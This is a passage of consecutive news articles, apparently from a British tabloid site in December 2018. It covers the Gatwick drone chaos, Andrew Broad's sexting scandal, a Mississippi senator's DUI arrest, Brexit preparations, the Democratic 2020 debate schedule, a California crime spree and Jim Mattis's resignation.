nine, and Ben are said to be 'traumatised' by the incident Family friend Alan York told the Mirror: 'Currently, Jules is recuperating in New Zealand with the friends she went out to visit and will need a substantial period of recovery before the family can return to England.' Jules broke her ribs, right leg and two vertebra, and her toes were dislocated. Her left arm was also injured and she has an open wound to her left hip area which is also fractured. It could take years for Jules to recover from her injuries, Gloucestershire Live reported. The horror smash happened near Whangarei as the group were enjoying a night out with friends Speaking from hospital in New Zealand Jules said she was 'so shocked when Alan first told her about the Magical Memories campaign. She said: 'I didn't think people would respond in this way to our situation, but it is really comforting to know how much people care and want to help my children.' Click here to support the campaign. Passengers stranded by the chaos at Gatwick Airport today told of families running out of food and trying to sleep in 'freezing' terminals and crowded planes. As people grow increasingly frustrated inside UK terminals, passengers are also scattered across Europe. One flyer hoping to reach London had to land in Paris - where he was told that he'd be diverted back to the UK on a bus. Also diverted to the French capital was Dr Steph Walker, after she boarded a Gatwick-bound flight from Boston. And Corinne Roberts tweeted that her parents-in-law were stuck in a departure lounge at Brussels as their visa don't allow them to enter the country beyond that point. Passengers at airports across Europe were growing increasingly frustrated today as the drone at Gatwick (pictured) continued to evade police Jon Carles emailed MailOnline to say he was stuck in the Canary islands today as the mayhem continued to unfold following the first sighting of the drone at 9.03pm last night. 'Me and my partner are currently stuck in Lanzarote,' he said. 'Supposed to be to flying back to Gatwick today with easyJet but no one knows what's going on here and what's going to happen. 'Managed to get through to easy jet after 45 minutes on hold and they told us to wait until 6pm and see what happens. And if gets cancelled we can't get a flight back with them for 48hours.' This shows where passengers heading for Gatwick have been diverted since 9pm last night This evening Transport Secretary Chris Grayling told Sky News that the government is doing everything it can to get people home as soon as possible. 'We're doing everything we can to make arrangements with other airports to get passengers incoming into the UK, but also to give passengers a chance to get out of the UK as quickly as possible. 'One of the things we're going to be doing is temporarily lifting the night-flight restrictions at other airports so more planes can get into and out of the country. 'Apologies for the residents affected, but it's right and proper that we try and sort people's Christmases out. 'It's likely to be other London airports but it will only be tonight. We will review the situation again tomorrow but we're looking to get people away.' Joseph Ouechen, a photographer from Morocco, was due to fly into Gatwick on Wednesday night but had his flight diverted to Paris. After arriving at Charles de Gaulle Airport at midnight, passengers with visas for the Schengen area were taken to a hotel but those without - 'about 20 per cent' - were left in the airport to fend for themselves, he said. 'There were families with babies who couldn't get to their suitcases for their milk and stuff,' he said. 'We were asking just for a favour if (airport staff) could help but they said they couldn't do anything.' Firefighters eventually crossed the border through passport control with blankets and water at 3.30am, he said. Police are pictured at Gatwick's police station roof today as they use equipment in the ongoing task to stop the drone unleashing chaos in Sussex 'To be honest, I'm so tired and when the guys from the fire (service) came with the bottles and blankets I was feeling like a war, like (I was) a refugee, but I'm just flying to the UK. Timeline: How dangerous drone pilot managed to shut down Gatwick Police are hunting for the expert drone pilot who has grounded hundreds of planes coming in and out of Gatwick by flying a drone at least ten time Here is how the chaos has unfolded: 9pm, December 19: Drone is first spotted by airport staff hovering near the runway causing flights to be grounded or diverted. 9.15pm: It appears again leading Gatwick bosses to believe it is a deliberate act. 9.30pm - midnight: The drone is seen at least five more times in that period 3.01am, December 20: Airport re-opens its runway after the all clear is given 3.45am: Drone is seen again and flights are again grounded 7am: Small unmanned aircraft appears again 9am: Last sighting of the drone as police start hunting perimeter of the airport Midday: Police are unable find the drone pilot despite it appearing again at lunchtime with Gatwick saying all flights are grounded until at least 4pm 2pm: Airport admits it has 'no idea' when it will re-open as police struggle to find the pilot 3pm: The drone is spotted again as it buzzes across Gatwick's runway. It was just minutes after airport bosses announced they had hoped to re-open at 4pm. 4pm: Drone spotted flying over the runway yet again. 5pm: Ministry of Defence confirms that it is using specialist equipment to seek out the drone Advertisement 'It's surreal. I was flying to the UK and now there are firemen bringing me water and blankets.' Those who didn't find themselves stuck abroad had to land more than 100 miles from their destination once they made their way back to the UK. Chris Lister, from Somerset, who owns an online business, was travelling back from Kiev with his wife Freya. He was due to land at Gatwick at 9.45pm yesterday but ended up trapped on the plane on the Tarmac at Birmingham Airport until 6am. 'There were quite a few babies and kids on board, I think they were struggling more than we were and one woman had run out milk,' he said. After starting his journey in Bangkok on Tuesday he was finally let off the plane at 6am, he said. Gareth Jones praised easyJet's response to the chaos, telling MailOnline: 'My son was due to fly home from Salzburg this morning on an Easyjet flight that was obviously cancelled. 'They have transferred him to the same flight tomorrow and put him up in a four-star hotel, with meals, overnight. 'Fortunately, he has no work commitments or time issues so it's not a bad deal at the end of the day. easyJet get some bad press but this is good service on their part.' Sally Gardiner, who is in Nice, France, said: 'The problems caused by this malicious person extend way beyond Gatwick. My son was to join me in Nice today for a break before Christmas. 'I don't see him very often so my disappointment is immense. 'I have also paid in advance for his accommodation. 'I have French friends who were due to fly from Nice to Gatwick tomorrow for connecting flight to USA to spend Christmas with families there. The knock on effect is massive.' Australians will only have to finish high school to work in the UK if immigration rules are relaxed under Brexit. The UK is considering downgrading requirements that migrants are 'highly skilled' to allow those who are 'skilled' working visas. To be classified as 'skilled' workers will need a minimum qualification of A-level or above which is the UK equivalent of a high school certificate and have a job offer prior to entering the country. The changes are proposed in a white paper that seeks to streamline immigration by making it easier to obtain work visas. The laws would be phased in from 2021 if adopted by parliament. A new UK government White Paper on immigration states that skilled Australians will be able to obtain less complicated work visas, more quickly, when the rules come into play, late 2020 Home Secretary Sajid Javid (pictured) said the new rules will ensure 'the brightest and best who wish to come to the UK may do so' 'At present, we have a dual system of admitting only highly skilled workers from outside the EU, and workers of all skill levels from the EU. We will replace this with a single route which gives access to highly skilled and skilled workers from all countries,' the White Paper read. 'Those coming to the UK on this route will need an employer to sponsor them. We propose to allow individuals who meet the requirements to bring dependants, extend their stay and switch to other routes, and in some cases, settle permanently.' Under the new ruling, Australia has been classed as a 'low risk country' meaning Australians will be more readily accepted. Visas are expected to be processed within two to three weeks and Australian citizens will also be allowed to use the e-gates at British airports to speed up the arrival process. Australians as well as other non-European Union workers will also no longer be subject to capped numbers to work in the UK. Visas are expected to be processed within two to three weeks and Australian citizens will also be allowed to use the e-gates at British airports to speed up the arrival process 'We will not impose a cap on the numbers of skilled workers, to ensure the brightest and best who wish to come to the UK may do so, and employers have access to the skills that add most value to the UK economy,' UK Home Secretary Sajid Javid said. A date has also been set to discuss the minimum salary requirement for skilled migrants but the current suggestion sits at around 30,000 approximately $52,000. 'It is important to listen to business and find the right thresholdwe will consult further on whether it is 30,000 or thereabouts,' Mr Javid said. Disgraced politician Andrew Broad says he's determined to make his marriage work after his wife gave him a second chance following his sexting scandal. The MP for the regional Victorian seat of Mallee set tongues wagging when texts he exchanged with a 'sugar baby' known as 'Sweet Sophia Rose' were leaked to New Idea this week. The 43-year-old announced his resignation from the front bench on Monday and later said he would not re-contest his seat at the next election so he could focus on his family. Disgraced politician Andrew Broad says he's determined to make his marriage work after his wife (both pictured) gave him a second chance following his sexting scandal Amy, a 'sugar baby' who is known online as 'Sweet Sophia Rose' (pictured), says she received explicit texts from Mr Broad after agreeing to meet him for a dinner date, where the Victorian politician referred to himself as James Bond and whinged about the menu's high prices 'At the end of everyone's professional life, we pack up our desk and go to our house. I want to walk into a house with a wife who still loves me and a daughter who knows me,' he told The Australian. 'I've been given a second chance and I'm determined not to blow it.' Rachel appeared to play a role in Broad's decision to quit politics. In an email sent to members of the Nationals Mallee branch on Tuesday night, he said he'd decided not to re-contest the election after a conversation with his wife. He said the scandal was not the only factor in their decision, with Broad also spending a lot of time away from home, leaving him unable to help his wife with their new foster child. The couple has been married for 19 years. 'I've been given a second chance and I'm determined not to blow it,' MP Andrew Broad (pictured) says 'We have had a year when I have been away too much, where extra responsibilities have been placed upon us with an additional foster child, and I made a grave error of judgement and allowed myself to be in a situation that is not appropriate,' Mr Broad wrote in the leaked email obtained by The Herald Sun. 'Politics is a strange vocation, I have always said that I would try to speak common sense and not get a big head.' The conservative politician, who has often referred to his deep Christian faith during his time in Parliament, has been slammed for the apparent hypocrisy of his actions. His 'sugar baby', who goes by Amy offline, told New Idea how Broad sent her bold and explicit messages after they had finally agreed to meet for dinner. In screenshots of what Amy claims are text messages sent between the pair, Mr Broad, a former farmer, appears happy to capitalise on his Australian upbringing. After Amy tells him she thinks Australian accents are 'so sexy', he sends back what appears to be a sext. 'I pull you close, run my strong hands down your back, softly kiss your neck and whisper, 'G'day mate',' he writes. 'I know how to ride a horse, fly a plane and f--k my woman. My intentions are completely dishonourable,' he wrote. Amy claims he told her he had 'booked a flashy room to seduce her back to' after dinner, despite the young woman stating on her profile there would be no physical intimacy between her and her clients. New Idea report the pair met at the Aqua Restaurant in Hong Kong, where Mr Broad allegedly whinged about the price of a meal and bragged about his powerful position. Amy said Mr Broad 'delivered his 'election speech' on the date, detailing why he should be voted in by the public. 'He kept saying he was very important and that when he left he would have to throw away his phone,' she told the magazine. 'He referred to himself as James Bond several times.' After the bombshell revelations emerged, senior members of the Nationals told The Herald Sun the party knew of more of Mr Broad's indiscretions, which date back at least three years. In the last 12 months alone, the paper reports three separate women told the Nationals of Mr Broad's inappropriate conduct. The women claimed they had seen Mr Broad acting out in hotels and bars and threatened to out him in the media. Mr Broad was one of the first Nationals MPs to publicly call for Barnaby Joyce's resignation as deputy prime minister after news emerged of his affair with his much younger former media adviser Vikki Campion. He referenced the issue again in a tweet on February 22, quoting the late American evangelist Billy Graham. 'Quote from the late Billy Graham: 'When wealth is lost, nothing is lost; when health is lost, something is lost; when character is lost, all is lost',' he wrote, adding these were: 'telling words for the leadership of the National Party'. African youth crime which has engulfed Melbourne has now spread to Brisbane after a spate of violent and 'merciless' carjackings. Masked thugs were responsible for assaults and attempted carjackings on Tuesday and Wednesday in the Queensland capital. Police are on high alert but have stopped short of declaring there is a African gang problem, according to The Australian. Authorities are growing more and more concerned about the rise of African youth gangs after multiple horrific carjackings (pictured) 'There have been a number of incidences lately where we have seen robberies and crimes of violence where the alleged offenders are people of African heritage, generally young people,' Detective Superintendent Tony Fleming said. 'There is a change in the violent behaviour we have escalated our response and we are working with intelligence to try to look at what some of the drivers are.' Mr Fleming described the violence as being without mercy and incredibly sudden. Four youths were arrested on Tuesday night for stabbing a man in the neck while attempting to steal his Mercedes Benz. CCTV footage shows the driver at a service station filling up fuel when two youth in dark clothes and hooded jackets approach and demand his keys. The driver struggled to fight off the attackers while his terrified partner fled from the passenger seat and to the service station for safety. The men then surrounded a red Toyota Yaris reversing out of a nearby driveway, forcing the man out of the driver's seat before stealing the vehicle. Another four African teenagers were being held in police custody on Thursday for allegedly stealing a BMW at gunpoint overnight. Detective Superintendent Tony Fleming (pictured) have said Queensland Police are on high alert and have growing concerns that youth crimes in the area are on the rise Mr Fleming said crime wasn't a widespread issue across Brisbane's African community, but warned the behaviour of some of the young men was unacceptable. He said while he was aware Victoria had been plagued by young African gangs in recent years, he had no idea those in Brisbane were involved. 'We are not seeing the next step into that gang-like state. Our intelligence officers and investigators are looking for that because if that happens, that's an escalation and that's concerning,' Mr Fleming said. Melbourne was gripped by a violent crime spree earlier this year involving South Sudanese youths and other young Africans who have joined the Apex and Menace to Society gangs. Youths trashed community parks, spat on police, threw rocks at authorities, burst into a barber shop and beat a man, and assaulted police officers. Authorities have been in contact with members of the African community in hopes they can help put a stop to the crimes. Officers are saying drugs, unemployment and a breakdown in community could all be contributing factors to the misbehaving. Mississippi State Senate President Pro Tem Terry Burton has been arrested on suspicion of drunk driving for an unsettling third time in less than five years. State troopers responded to reports of a one-vehicle crash on US-82 on Wednesday night just after 9pm and found Burton in behind the wheel of a pickup truck stalled in a ditch, according to the Mississippi Highway Patrol. The Republican from Newton was arrested and and charged with a DUI second offense as well as failure to maintain proper lane. He was released on $1,000 bail shortly after being booked into Oktibbeha County Jail. Mississippi State Senate President Pro Tem Terry Burton, 62, has been charged with his third DUI in less than five years. State troopers found the Republican lawmaker in his truck stranded in a ditch in Starkville on Wednesday evening and arrested him on suspicion of drunk driving after he submitted to a field sobriety test Burton told local news outlet WJTV that he had been at dinner with friends in neighboring Starkville and decided to stay the night. He claimed that his truck had gotten stuck in the ditch when he turned to enter a gated neighborhood. The 62-year-old said state troopers arrived as he was waiting for a tow truck, and that he submitted to a field sobriety test. Addressing the incident in a statement to the Clarion Ledger, Burton said: 'I know firsthand what it is like to make a mistake and to accept the consequences for those mistakes. 'I respect and applaud law enforcement for always erring on the side of caution. I truly believe this is a misunderstanding.' The Ledger pressed Burton to explain what he meant be 'misunderstanding' but he refused, the outlet reported. The Republican representing Newton, Mississippi, has faced two previous DUI charges. He pleaded guilty to the first in 2014 and was acquitted of the second in 2016 This is Burton's third DUI charge, having pleaded guilty following a 2014 arrest in Brandon and been acquitted after a 2016 crash in Scott County. If convicted of his second DUI within five years, the legislator could face up to a year in hail and a $1,500 fine as well as the suspension of his license. Burton's role as president pro tem makes him the second-ranking member of the Mississippi state Senate behind Lt Gov Tate Reeves. It remains unclear whether his latest DUI charge will result in any consequences at the Capitol. In 2014 Burton claimed that he had taken the non-narcotic prescription painkiller Mobic and forgotten about it when he had a few drinks at dinner before being pulled over. He has said that the 2016 DUI was a false positive caused by the cough syrup he drank after crashing into a traffic sign. He said he drank the cough syrup to ease the irritation in his throat from the dust he inhaled when the airbags deployed. 'It was Nyquil, that was all I had in my bag, had nothing else in the vehicle to drink,' Burton told the Clarion Ledger at the time. 'I used breath spray because my mouth felt like cotton. The judge determined there was a false positive on the test.' Hundreds of staff at Britain's foreign aid department will be redeployed to prepare for the possibility of a no-deal Brexit. The Department for International Development (Dfid) last night confirmed that 600 staff will be seconded to other departments as Whitehall steps up contingency plans for Britain leaving the EU in March next year. The redeployment amounts to one-fifth of the department's staff and could leave it struggling to spend the UK's massive 14 billion aid budget. Staff will be moved to 'front line' departments such as the Department for Environment, Food and Rural Affairs and the Department for Exiting the EU. PM Theresa May sits with members of her cabinet, including Secretary of State for Defence Gavin Williamson, Secretary of State for Foreign and Commonwealth Affairs Jeremy Hunt Sources said the move followed a Whitehall-wide call-up this week after the Cabinet agreed on Tuesday to 'ramp up' preparations for a no-deal Brexit. Dfid said the proposal was part of 'sensible' precautions and demonstrated the 'flexibility' of the civil service. A source insisted the UK would still hit its target of spending 0.7 per cent of income on foreign aid. Officials have also now decided that the prospect of the UK crashing out without a deal has become more likely. Dozens of 'technical notices' outlining how the UK would prepare for no deal have been published in recent months. The documents stated that a no-deal exit 'remains unlikely'. But the phrase has been removed in online versions of the documents after this week's Cabinet decision. Government sources said the move simply reflected the fact that, with fewer than 100 days until the UK leaves the EU, Theresa May's deal has still not been approved by Parliament. Mrs May yesterday insisted that no-deal 'remains unlikely', but said the best way of avoiding it was for MPs to back her proposals in next month's vote. The preparations came as: Downing Street slapped down Amber Rudd for suggesting a second Brexit referendum could be held if the PM's deal fails. Commons Leader Andrea Leadsom suggested the UK could pursue a 'managed no deal' if MPs reject Mrs May's plans an idea ridiculed by other ministers. MPs were told that the delayed vote on Mrs May's plans will take place on or around January 15. Shadow Home Secretary Diane Abbott opened up Labour splits by suggesting a second referendum may be 'the only option'. Former Tory minister Nick Boles was warned he could face deselection for suggesting he would quit the party in the event of a no-deal Brexit. Russian President Vladimir Putin told reporters Mrs May 'must enact the will of the people... otherwise it is not a referendum at all'. The Cabinet's civil war over the Government's 'Plan B' for Brexit continued unabated. Miss Rudd, the work and pensions secretary, has already hinted she could quit if the Government actively pursues no deal. Yesterday she became the first Cabinet minister to suggest a second referendum may eventually be needed, saying that while she did not want one, there would be a 'plausible argument' for it if Mrs May's plans are defeated. Justice Secretary David Gauke dismissed the idea as a 'unicorn' this week, saying it was a fantasy which should be 'slayed' No 10 dismissed the idea. Asked if a second referendum was plausible if Parliament remains gridlocked, the Prime Minister's official spokesman said: 'No', adding: 'As you know the Prime Minister has been very clear on the dangers of calling a second referendum.' Jeremy Hunt warned it would be dangerous for democracy and 'disastrous for the Conservative party'. Mrs Leadsom said another referendum would be 'unacceptable' and 'undermine the biggest democratic exercise ever'. She opened up her own front on Brexit by suggesting the Government should attempt a 'managed no deal' if Mrs May's plan fails. Justice Secretary David Gauke dismissed the idea as a 'unicorn' this week, saying it was a fantasy which should be 'slayed'. He drove the point home yesterday by posting a photo of himself on social media holding a toy unicorn. Mr Gauke said he would find it 'very difficult' to stay in a government committed to no deal. Even though the EU has said it will not countenance a deal without the controversial Irish backstop, Mrs Leadsom insisted it was a serious option. 'What I am looking at is trying to find an alternative that, in the event we cannot agree to this deal, that there could be a further deal [with] a more minimalist approach. that allows us to leave with some kind of deal and some kind of implementation period that avoids a cliff edge.' Democrats will hold 12 primary debates to whittle down what's expected to be a massive field for the 2020 presidential nomination, the party announced Thursday. The early announcement comes as several Democrats are weighing whether or not to campaign for the party's presidential nomination in the coming year. The early announcement and heavy schedule are also likely a move to counter the criticism the party faced in 2016 that the debate schedule between Hillary Clinton and Bernie Sanders was too short and was 'rigged.' Outgoing Democratic lawmaker Beto O'Rourke (left) and former Vice President Joe Biden (right) are among those considering a presidential run As are Sens. Elizabeth Warren (left) and Kamala Harris (right) For its 2020 nomination, the Democratic National Committee announced the party will hold six primary debates in 2019 and six in 2020. 'My goal in this framework is to give the grassroots a bigger voice than ever before; to showcase our candidates on an array of media platforms; to present opportunity for vigorous discussion about issues, ideas and solutions; and to reach as many potential voters as possible. That is how we will put our nominee in the strongest position possible to defeat Donald Trump, and how we will help elect Democrats up and down the ballot,' DNC Chair Tom Perez said in a statement. Sanders and his supporters had called for more debates and better timing for the scheduled contests - some of which took place on Saturday nights or holiday weekends, which brought lower viewership. Originally the party sanctioned just six presidential debates in the last cycle but eventually held nine. Leaked emails from DNC emails posted by WikiLeaks shortly before the 2016 Democratic convention revealed officials had tilted the process toward Clinton. Then-DNC chair Debbie Wasserman Schultz resigned as a result of the revelation. For the coming contest, the first two debates will take place in June and July 2019. For these first debates, which will likely be the most crowded, it's possible the debate will be held on more than one night to give. If that is the case, 'the lineup for each night will be determined at random, with qualifying candidates assigned one night per debate. The random selection of candidates will be done publicly,' the party said in a release. In addition to the required filing and constitutional requirements to run for president, the candidates must qualify for the first two debates by meeting criteria that includes 'both polling and other objective measures that reflect a candidate's support, such as grassroots fundraising.' The specific list of requirements will be announced in January 2019. In 2016, contenders had to reach at least 5 percent in national polls in order to qualify for a debate. Former Maryland Gov. Martin O'Malley did not qualify for all the Democratic debates given his low poll numbers. He slammed the process as 'rigged.' 'This sort of rigged process has never been attempted before,' O'Malley said at the time. After a break in August, there will be one debate per month for the rest of 2019. The remaining six debates will be in 2020 with the last to be held sometime in April, indicating the party believes there will be a frontrunner by that time. Democrats are working on the process to find their nominee to take on President Trump Bernie Sanders supporters claimed the 2016 process was 'rigged' in favor of Hillary Clinton Originally the party sanctioned just six presidential debates in 2016 between Hillary Clinton and Bernie Sanders but eventually held nine The Iowa caucuses are scheduled for Feb. 3, 2020 with the New Hampshire primary on Feb. 11. Super Tuesday - a date which a number of states hold their nomination contests - is set for March 3. Only three Democrats have officially announced: outgoing Democratic House member John Delaney, tech executive Andrew Yang, and state lawmaker Richard Ojeda. Former Secretary of Housing and Urban Development Julian Castro announced the launch of a presidential exploratory committee early this month - the first step in the process toward making a White House bid. Other Democrats considering a run include: former Vice President Joe Biden; outgoing Congressman Beto O'Rourke; Sens. Elizabeth Warren, Cory Booker, Kirsten Gillibrand, Kamala Harris, Amy Klobuchar, and Bernie Sanders; businessman Tom Steyer; former Attorney General Eric Holder, former New York City Mayor Michael Bloomberg, and Mayors Mitch Landrieu of New Orleans and Eric Garcetti of Los Angeles. Sens. Cory Booker and Kirsten Gillibrand are considering White House bids As are former New York City Mayor Michael Bloomberg and Sen. Amy Klobuchar The party is asking that candidates only appear in the debates sanctioned by the party but noted participation in forums in which one candidate appears on stage is fine. No specific dates or which networks will air the debates have been announced. The party said that information will come in 2019. The party noted it 'will continuously assess the state of the race and make adjustments to this process as appropriate, and always transparently.' A California sheriff has vented his frustration with the state's controversial sanctuary laws after a twice-deported criminal carried out a deadly crime spree, which ended with his suicide at the end of a 100mph police chase. Gustavo Garcia, 36, died in an apparently intentional wrong-way crash in Porterville on Monday, after officials said he shot dead a gas station attendant, wounded two other people, carjacked farmworkers and robbed a convenience store at gunpoint. The US immigration and Customs Enforcement later released a statement saying that Garcia's rampage 'could have been prevented' if the federal agency had been made aware of his release from jail on Friday, after he was picked up on a minor drug charge. Tulare County Sheriff Mike Boudreaux (left) said California's sanctuary law prevented him from honoring ICE's detainer on Gustavo Garcia, 36, before the twice-deported criminal went on a deadly rampage this week This is an unfortunate and extremely tragic example of how public safety is impacted with laws or policies limiting local law enforcement agencies ability to cooperate with ICE, the federal agency stated. On Wednesday, Tulare County Sheriff Mike Boudreaux responded to ICE's claims, saying that laws had to be changed to reopen channels of communication between local law enforcement and ICE, reported The Fresno Bee. We are very frustrated with the fact that the way the laws are set up currently that law enforcement hands are tied, Boudreaux lamented. Shortly before 1:30am Monday, Garcia fired shots into a Shell gas station in the Pixley area, then about an hour later, he killed Rocky Paul Jones (pictured), 51, of Visalia outside the Arco AMPM in that city, Visalia Police Chief Jason Salazar said According to ICE, the federal agency had placed a detainer on Garcia last week after his arrest, but Boudreaux argued that he had no choice but to let the man go without honoring ICE's detainer. Under Californias sanctuary laws, an ICE detainer cannot be recognized unless the agency presents a warrant for a suspect's arrest signed by a federal judge. Since Garcia had been arrested on a misdemeanor charge of being under the influence of a controlled substance, the sheriffs office could not keep in in lockup for more than 10.5 hours. Boudreaux said in the past, before the passage of State Bill 54 in September, he would have turned Garcia to ICE right away. That tool has been removed from our hands and because of that our county was shot up by a violent criminal that could have easily been prevented had we had the opportunity to reach out to our fellow counterparts, he added. Boudreaux pointed out that he personally supports DACA recipients and Dreamers, and has no interest in enforcing immigration laws. But the sheriff believes the states sanctuary laws need to be amended in order to allow his office to better communicate with ICE to more effectively protect his community from violent criminals. Right now they are just releasing people back into the community, like Gustavo Garcia, he concluded. What remains of one of the vehicles involved in the crash on State Route 65 in Porterville, California is seen above on Monday morning Boudreaux previously said Garcia had been on a 'personal reign of terror' since Sunday afternoon, which has left police scratching their heads and struggling to find a motive. An autopsy would determine whether he had any drugs or alcohol in his system. Garcia had a long criminal history that included arrests for drugs, assault with a deadly weapon, vandalism and contributing to the delinquency of a minor and he had been in trouble with immigration officials several times and was deported in 2014, Boudreaux said. However, he did not know Garcia's recent immigration status. The rampage began around 1pm Sunday in Exeter when Garcia shot a farmworker who was picking fruit, police said. He was expected to recover. Minutes later, Garcia robbed a convenience store. Surveillance video showed Garcia firing shots at the ceiling and demanding more than $2,000 in cash, the Fresno Bee reported. At least four cars were involved in a crash as Garcia led police on a 100mph high speed chase Garcia was flung from his stolen truck after he was driving the wrong way along the highway Garcia died after smashing into four cars, leaving one driver in critical condition and the other three with minor injuries At about 7:30pm Sunday, Garcia shot a Motel 6 guest in the arm and chest in Tulare, although her wounds weren't life-threatening, authorities said. 'She had made eye contact with the subject and he had followed her to her parking spot, where he got out of the car and for an unbeknownst reason began firing at her vehicle,' Tulare interim Police Chief Matt Machado said. Shortly before 1:30am Monday, Garcia fired shots into a Shell gas station in the Pixley area, then about an hour later, he killed Rocky Paul Jones, 51, of Visalia outside the Arco AMPM in that city, Visalia Police Chief Jason Salazar said. Jones had exchanged words with Garcia before the shooting but it was unclear whether Jones had any relationship with the killer, police said. 'It appears his rampage and his acts of violence were random and they were not chosen targets, which makes it even more dangerous,' Boudreaux said. 'This person was targeting anyone who got in the way.' Garcia later went to his ex-girlfriend's house in Visalia and fired several shots from her backyard but she and her children escaped unharmed, police said. He then fired shots into a home in the Sultana area, then shortly after 6:30am crashed his car after a two-minute police chase during which he shot and hit pursuing sheriff's cars and deputies fired back. Garcia ran into an orchard where he stole a truck at gunpoint from three farmworkers and led authorities in a chase that reached 100 mph on State Route 65, where Garcia drove the wrong way in traffic and seemed intent on trying to hit other cars, California Highway Patrol Lt. Scott Goddard said. Garcia died after smashing into four cars, leaving one driver in critical condition and the other three with minor injuries, Goddard said. He 'had no regard for human life,' Boudreaux said. President Donald Trump said Thursday that Defense Secretary Jim Mattis will leave the administration in early 2019, but the onetime Marine Corps general is doing it on his own terms listing the ways he's incompatible with his commander-in-chief. Chief among them is that Mattis believes Trump hasn't tended the diplomatic garden of international alliances, leaving the United States unable to defend its interests overseas. And the timing of his announcement was unmistakably linked to the president's announcement Thursday of a troop pullout from Syria that the two men disagreed about. 'Because you have the right to a Secretary of Defense whose views are better aligned with yours on these and other subjects,' Mattis wrote after his litany, 'I believe it is right for me to step down from my position.' Trump treated the departure like any other in Washington's revolving doors. 'General Jim Mattis will be retiring, with distinction, at the end of February, after having served my Administration as Secretary of Defense for the past two years,' he tweeted. 'During Jims tenure, tremendous progress has been made, especially with respect to the purchase of new fighting equipment. General Mattis was a great help to me in getting allies and other countries to pay their share of military obligations. A new Secretary of Defense will be named shortly. I greatly thank Jim for his service!' Mattis' message Thursday was far less rosy a rhetorical flamethrower with a touch of khaki. Farewell to arms? Defense Secretary Jim 'Mad Dog' Mattis, a former U.S. Marine Corps general, will step down from his post atop the Pentagon in February President Donald Trump reportedly overruled Mattis' objection this week in deciding to withdraw American troops from Syria In his resignation letter, Mattis spelled out his strategic views and said Trump should find a defense secretary he agrees with more 'One core belief I have always held is that our strength as a nation is inextricably linked to the strength of our unique and comprehensive system of alliances and partnerships,' he wrote. 'While the US remains the indispensable nation in the free world, we cannot protect our interests or serve that role effectively without maintaining strong alliances and showing respect to those allies.' Mattis also declared that America 'must be resolute and unambiguous in our approach to those countries whose strategic interests are increasingly in tension with ours.' In clear references to Russia and China, he wrote about four decades of 'immersion' in global affairs, leading him to believe in 'treating allies with respect and also being clear-eyed about both malign actors and strategic competitors.' At the White House, Press Secretary Sarah Huckabee Sanders told a crush of reporters that Mattis made the decision about the timing of his announcement. 'He and the president have a good relationship, but sometimes they disagree,' she acknowledged, responding to a question about the Syria troop pullout's role in the defense secretary's departure. 'The president always listens to members of his national security team, but at the end of the day, it's the president's decision to make,' she said. 'He was the one to be elected president, to be the commander in chief, and while he takes all of their opinions, and all of their advice into consideration, at the end of the day it's his decision to make.' White House Press Secretary Sarah Huckabee Sanders didn't deny on Thursday evening that Mattis timed his departure to show displeasure with Trump's decision to withdraw America's troops from Syria over his objection The president stunned Washington with his announcement, making it on Twitter instead of in an official statement Trump made waves Wednesday at the Pentagon by announcing his withdrawal of America's mid-size military contingent stationed in Syria. The decision, reached Tuesday in a small group meeting at the White House, didn't include consultation with Gen. Joseph F. Dunford Jr., the chairman of the Joint Chiefs of Staff. Mattis and Secretary of State Mike Pompeo were in the room. Both objected. Trump declared this week that his administration has won the war against the ISIS terror army, even though the Pentagon has said the group still has 30,000 soldiers in Iraq and Syria. Some administration officials are bracing for a possible pullout from Afghanistan next. The U.S. has 14,000 troops stationed there. According to CNN, no decision has been made but officials are worried Trump might act soon to pull out of a conflict he has long claimed America should never have entered. The president asked back in 2011, years before he began to flaunt his political ambitions: 'When will we stop wasting our money on rebuilding Afghanistan? We must rebuild our country first.' Reactions to Mattis' announcement fell along partisan lines on Thursday. House Minority Leader Nancy Pelosi, who will become speaker in January, said during a press conference at the Capitol that she was 'shaken by the resignation of General Mattis' and called it 'a very sad day for our country.' Pelosi encouraged reporters to read the resignation letter, and to pray for the United States. 'You have leaders, great leaders who have left the administration in dismay and the rest of them have left in disgrace. And that's what this administration has been about,' she claimed. Most Republicans thanked the defense secretary for more than 40 years of public service. Many Democrats lamented that one of the Trump administration's few 'adults in the room' would be leaving. Illinois Democratic Sen. Dick Durbin said on Twitter: 'America has lost more than an exceptional Secretary of Defense. We have lost the adult in the room when the President goes off on a tweet-filled, uninformed rant about our national security.' California Democratic Rep. Adam Schiff will chair the House Intelligence Committee next year; he blasted Trump for ignoring Mattis' advice Illinois Democratic Sen. Dick Durbin said the Trump administration has 'lost the adult in the room' Florida Sen. Marco Rubio was among very few Republicans to offer anything but wistful thanks; he tweeted that the Mattis resignation letter points to serious flaws in America's strategic thinking overseas Tennessee Rep. Jim Cooper appeared to be tweeting from the same talking points. 'I worry the White House meeting rooms will soon be vacant of adults,' he wrote. California Democratic Rep. Jimmy Gomez chimed in: 'The adults have officially left the building.' Fellow Californian Adam Schiff, who will chair the House Intelligence Committee in 2019 and 2020, took his criticism a step further. 'Old Marines never die, but they do resign after the President ignores their advice, betrays our allies, rewards our enemies, and puts the nations security at risk. Turn out the lights when Mattis leaves; we will not see his like again while Trump remains in office,' Schiff tweeted. Outgoing House Speaker Paul Ryan, a retiring Wisconsin Republican, issued a more traditional statement, saying Mattis has made the nation 'a safer America at home, and a more commanding force abroad. His patriotism and grit are matched only by his humility and graciousness.' On GOP dissenter, Florida Sen. Marco Rubio, tweeted that Thursday's resignation letter 'makes it abundantly clear that we are headed towards a series of grave policy errors which will endanger our nation,damage our alliances & empower our adversaries.' The top Democrat on the Senate Intelligence Committee called Mattis' planned departure 'scary,' saying the retired general 'has been an island of stability' amid Trump's chaos Trump has speculated before about how long Mattis might stay in his Cabinet. Asked in October during a '60 Minutes' interview whether his Defense Department chief might be on his way out, he responded: 'Well, I don't know. He hasn't told me that.' 'I have a very good relationship with him. It could be that he is. I think he's sort of a Democrat, if you want to know the truth,' he said. 'But General Mattis is a good guy. We get along very well. He may leave. I mean, at some point, everybody leaves. Everybody. People leave. That's Washington.' Virginia Democratic Sen. Mark Warner tweeted in horror on Thursday: 'This is scary.' 'Secretary Mattis has been an island of stability amidst the chaos of the Trump administration. As weve seen with the Presidents haphazard approach to Syria, our national defense is too important to be subjected to the Presidents erratic whims.' Warner is vice chairman of the Senate Intelligence Committee. Mattis isn't the only senior official on the way out. White House Chief of Staff John Kelly will depart in a matter of weeks, and Interior Secretary Ryan Zinke is also on a glide path to the private sector. The president drew cheers at political rallies during his late 2016 transition period when he announced that Mattis would run the Pentagon. Trump was fond of calling him 'Mad Dog,' a nickname Marine lore described as a loving tribute 